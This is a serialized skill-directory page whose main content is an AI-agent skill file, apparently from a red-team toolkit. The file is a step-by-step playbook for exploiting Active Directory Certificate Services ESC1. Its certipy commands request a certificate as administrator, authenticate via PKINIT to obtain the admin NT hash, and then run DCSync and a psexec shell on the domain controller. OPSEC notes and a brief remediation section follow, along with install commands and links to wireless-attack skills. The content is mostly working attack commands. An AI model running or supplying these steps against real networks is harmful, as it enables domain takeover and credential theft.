[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M75Q04BNK78AA90NB6WR7GJ9":3,"skill-same:01M75Q04BNK78AA90NB6WR7GJ9":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M75Q04BNK78AA90NB6WR7GJ9","adcs-esc1",null,"Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Fadcs-esc1\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: adcs-esc1\ndescription: Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.\nmetadata:\n  subdomain: active-directory\n  when_to_use: \"adcs esc1 ad certificate services template misconfiguration domain admin\"\n  mitre_attack:\n    - T1649\n    - T1078.002\n---\n\n# ADCS ESC1 Exploitation\n\nESC1 is the most common ADCS misconfig: a certificate template with\n**ENROLLEE_SUPPLIES_SUBJECT** set, allowing any enrollee to request a\ncert for any user. Pair with **Client Authentication** EKU → authenticate\nas that user via PKINIT → instant domain admin.\n\n## 1. Enumerate templates\n```bash\n# Certipy (preferred)\ncertipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \\\n  -output \u002Ftmp\u002Fadcs -text -stdout > \u002Ftmp\u002Fadcs.txt\n\n# Or check JSON\ncertipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \\\n  -output \u002Ftmp\u002Fadcs.json\n```\n\nDecepticon ingest:\n```\nadcs_audit(\"\u002Ftmp\u002Fadcs.json\")\n```\n\n## 2. Identify ESC1 candidates\nA template is ESC1-vulnerable when ALL true:\n- `Enrollment Rights` includes a group the attacker is in (Domain Users \u002F Authenticated Users is jackpot)\n- `Client Authentication EKU` or `Smart Card Logon EKU` or `Any Purpose`\n- `Enrollee Supplies Subject` flag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)\n- `Manager Approval` disabled\n- `Authorized Signatures Required` is 0\n\ncertipy output marks these clearly:\n```\n[!] Vulnerabilities\n        ESC1                                : 'DOMAIN\\\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication\n```\n\n## 3. Request the cert as Domain Admin\n```bash\ncertipy req -u USER@DOM -p 'PASS' -ca CA_NAME \\\n  -target CA_FQDN -template VULNERABLE_TEMPLATE \\\n  -upn 'administrator@dom' \\\n  -dc-ip DC_IP \\\n  -out \u002Ftmp\u002Fadmin.pfx\n```\n\nThe magic is `-upn administrator@dom` — because ENROLLEE_SUPPLIES_SUBJECT\nis set, the CA issues a cert with that UPN even though we're a regular\nuser requesting it.\n\n## 4. Authenticate as Domain Admin\n**PKINIT** (cert → TGT):\n```bash\ncertipy auth -pfx \u002Ftmp\u002Fadmin.pfx -dc-ip DC_IP\n# Output: TGT cached, NT hash printed\n```\n\nYou get back:\n- A TGT in `administrator.ccache` (use w\u002F `export KRB5CCNAME=...`)\n- The NT hash of administrator (because PKINIT replies include the user's NT hash for legacy compat)\n\n## 5. Operate as Domain Admin\nWith NT hash:\n```bash\n# DCSync\nsecretsdump.py -hashes :NT_HASH 'DOM\u002Fadministrator@DC_IP' -just-dc\n\n# Shell on DC\npsexec.py -hashes :NT_HASH 'DOM\u002Fadministrator@DC_IP'\n\n# Or use the ccache TGT directly\nexport KRB5CCNAME=\u002Ftmp\u002Fadministrator.ccache\nsmbclient.py -k -no-pass 'DC@DC_IP'\n```\n\n## 6. Promote\n```\nkg_add_node(kind=\"vulnerability\", label=\"ADCS ESC1: \u003Ctemplate> → DA\",\n            props={\"severity\":\"critical\",\"ca\":\"\u003Cca>\",\"template\":\"\u003Ctpl>\"})\nkg_add_node(kind=\"credential\", label=\"administrator:NT_HASH\")\nkg_add_edge(src=\u003Cvuln>, dst=\u003Ccred>, kind=\"grants\")\nkg_add_edge(src=\u003Ccred>, dst=\u003Ccrown_jewel:domain>, kind=\"compromises\")\n```\n\n## ESC variants quick-ref\n\n| ESC | Misconfig | Sub-skill |\n|---|---|---|\n| ESC1 | Enrollee supplies subject + client auth EKU | THIS doc |\n| ESC2 | Any Purpose EKU template | similar to ESC1 |\n| ESC3 | Enrollment Agent template | needs ESC3 + ESC2 combo |\n| ESC4 | Vulnerable template ACL (GenericAll, WriteDacl) | edit template → ESC1 |\n| ESC5 | Vulnerable PKI object ACL | edit CA settings |\n| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | request as any user via SAN |\n| ESC7 | Vulnerable CA ACL (ManageCA, ManageCertificates) | approve denied req |\n| ESC8 | NTLM relay → AD CS web enrollment | coerce + relay |\n| ESC9 | UPN no security extension | low-priv → high-priv via S4U2self |\n| ESC10 | Weak certificate mapping (StrongCertificateBindingEnforcement=0) | UPN spoof |\n| ESC11 | NTLM relay to ICPR (RPC) | similar to ESC8 |\n| ESC13 | Cert template w\u002F OID linked to group → group membership manipulation | |\n\n## OPSEC\n- Certipy req generates **event 4886** on the CA (cert issued)\n- PKINIT generates **event 4768** on DC w\u002F certificate fields populated\n- Hard to suppress; rely on engagement being permitted to be loud here\n\n## CVSS\n- Any ESC1 reachable from low-priv user: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H` = 9.0\n- ESC1 reachable from anonymous (rare): 10.0\n- ESC8 NTLM relay (different exploit, same outcome): 9.8\n\n## Defender remediation\n```powershell\n# Disable the dangerous flag\ncertutil -dstemplate \u003CTemplate> | findstr msPKI-Certificate-Name-Flag\n# Should NOT contain CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)\n\n# Fix via UI: Template properties → Subject Name tab → uncheck\n# \"Supply in the request\"\n```\n","# ADCS ESC1 Exploitation\n\nESC1 is the most common ADCS misconfig: a certificate template with\n**ENROLLEE_SUPPLIES_SUBJECT** set, allowing any enrollee to request a\ncert for any user. Pair with **Client Authentication** EKU → authenticate\nas that user via PKINIT → instant domain admin.\n\n## 1. Enumerate templates\n```bash\n# Certipy (preferred)\ncertipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \\\n  -output \u002Ftmp\u002Fadcs -text -stdout > \u002Ftmp\u002Fadcs.txt\n\n# Or check JSON\ncertipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \\\n  -output \u002Ftmp\u002Fadcs.json\n```\n\nDecepticon ingest:\n```\nadcs_audit(\"\u002Ftmp\u002Fadcs.json\")\n```\n\n## 2. Identify ESC1 candidates\nA template is ESC1-vulnerable when ALL true:\n- `Enrollment Rights` includes a group the attacker is in (Domain Users \u002F Authenticated Users is jackpot)\n- `Client Authentication EKU` or `Smart Card Logon EKU` or `Any Purpose`\n- `Enrollee Supplies Subject` flag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)\n- `Manager Approval` disabled\n- `Authorized Signatures Required` is 0\n\ncertipy output marks these clearly:\n```\n[!] Vulnerabilities\n        ESC1                                : 'DOMAIN\\\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication\n```\n\n## 3. Request the cert as Domain Admin\n```bash\ncertipy req -u USER@DOM -p 'PASS' -ca CA_NAME \\\n  -target CA_FQDN -template VULNERABLE_TEMPLATE \\\n  -upn 'administrator@dom' \\\n  -dc-ip DC_IP \\\n  -out \u002Ftmp\u002Fadmin.pfx\n```\n\nThe magic is `-upn administrator@dom` — because ENROLLEE_SUPPLIES_SUBJECT\nis set, the CA issues a cert with that UPN even though we're a regular\nuser requesting it.\n\n## 4. Authenticate as Domain Admin\n**PKINIT** (cert → TGT):\n```bash\ncertipy auth -pfx \u002Ftmp\u002Fadmin.pfx -dc-ip DC_IP\n# Output: TGT cached, NT hash printed\n```\n\nYou get back:\n- A TGT in `administrator.ccache` (use w\u002F `export KRB5CCNAME=...`)\n- The NT hash of administrator (because PKINIT replies include the user's NT hash for legacy compat)\n\n## 5. Operate as Domain Admin\nWith NT hash:\n```bash\n# DCSync\nsecretsdump.py -hashes :NT_HASH 'DOM\u002Fadministrator@DC_IP' -just-dc\n\n# Shell on DC\npsexec.py -hashes :NT_HASH 'DOM\u002Fadministrator@DC_IP'\n\n# Or use the ccache TGT directly\nexport KRB5CCNAME=\u002Ftmp\u002Fadministrator.ccache\nsmbclient.py -k -no-pass 'DC@DC_IP'\n```\n\n## 6. Promote\n```\nkg_add_node(kind=\"vulnerability\", label=\"ADCS ESC1: \u003Ctemplate> → DA\",\n            props={\"severity\":\"critical\",\"ca\":\"\u003Cca>\",\"template\":\"\u003Ctpl>\"})\nkg_add_node(kind=\"credential\", label=\"administrator:NT_HASH\")\nkg_add_edge(src=\u003Cvuln>, dst=\u003Ccred>, kind=\"grants\")\nkg_add_edge(src=\u003Ccred>, dst=\u003Ccrown_jewel:domain>, kind=\"compromises\")\n```\n\n## ESC variants quick-ref\n\n| ESC | Misconfig | Sub-skill |\n|---|---|---|\n| ESC1 | Enrollee supplies subject + client auth EKU | THIS doc |\n| ESC2 | Any Purpose EKU template | similar to ESC1 |\n| ESC3 | Enrollment Agent template | needs ESC3 + ESC2 combo |\n| ESC4 | Vulnerable template ACL (GenericAll, WriteDacl) | edit template → ESC1 |\n| ESC5 | Vulnerable PKI object ACL | edit CA settings |\n| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | request as any user via SAN |\n| ESC7 | Vulnerable CA ACL (ManageCA, ManageCertificates) | approve denied req |\n| ESC8 | NTLM relay → AD CS web enrollment | coerce + relay |\n| ESC9 | UPN no security extension | low-priv → high-priv via S4U2self |\n| ESC10 | Weak certificate mapping (StrongCertificateBindingEnforcement=0) | UPN spoof |\n| ESC11 | NTLM relay to ICPR (RPC) | similar to ESC8 |\n| ESC13 | Cert template w\u002F OID linked to group → group membership manipulation | |\n\n## OPSEC\n- Certipy req generates **event 4886** on the CA (cert issued)\n- PKINIT generates **event 4768** on DC w\u002F certificate fields populated\n- Hard to suppress; rely on engagement being permitted to be loud here\n\n## CVSS\n- Any ESC1 reachable from low-priv user: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H` = 9.0\n- ESC1 reachable from anonymous (rare): 10.0\n- ESC8 NTLM relay (different exploit, same outcome): 9.8\n\n## Defender remediation\n```powershell\n# Disable the dangerous flag\ncertutil -dstemplate \u003CTemplate> | findstr msPKI-Certificate-Name-Flag\n# Should NOT contain CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)\n\n# Fix via UI: Template properties → Subject Name tab → uncheck\n# \"Supply in the request\"\n```\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27},"active-directory","adcs esc1 ad certificate services template misconfiguration domain admin",[28,29],"T1649","T1078.002","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Fadcs-esc1","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill adcs-esc1",{"tool":42,"command":43},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill adcs-esc1",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill adcs-esc1","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Fadcs-esc1\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]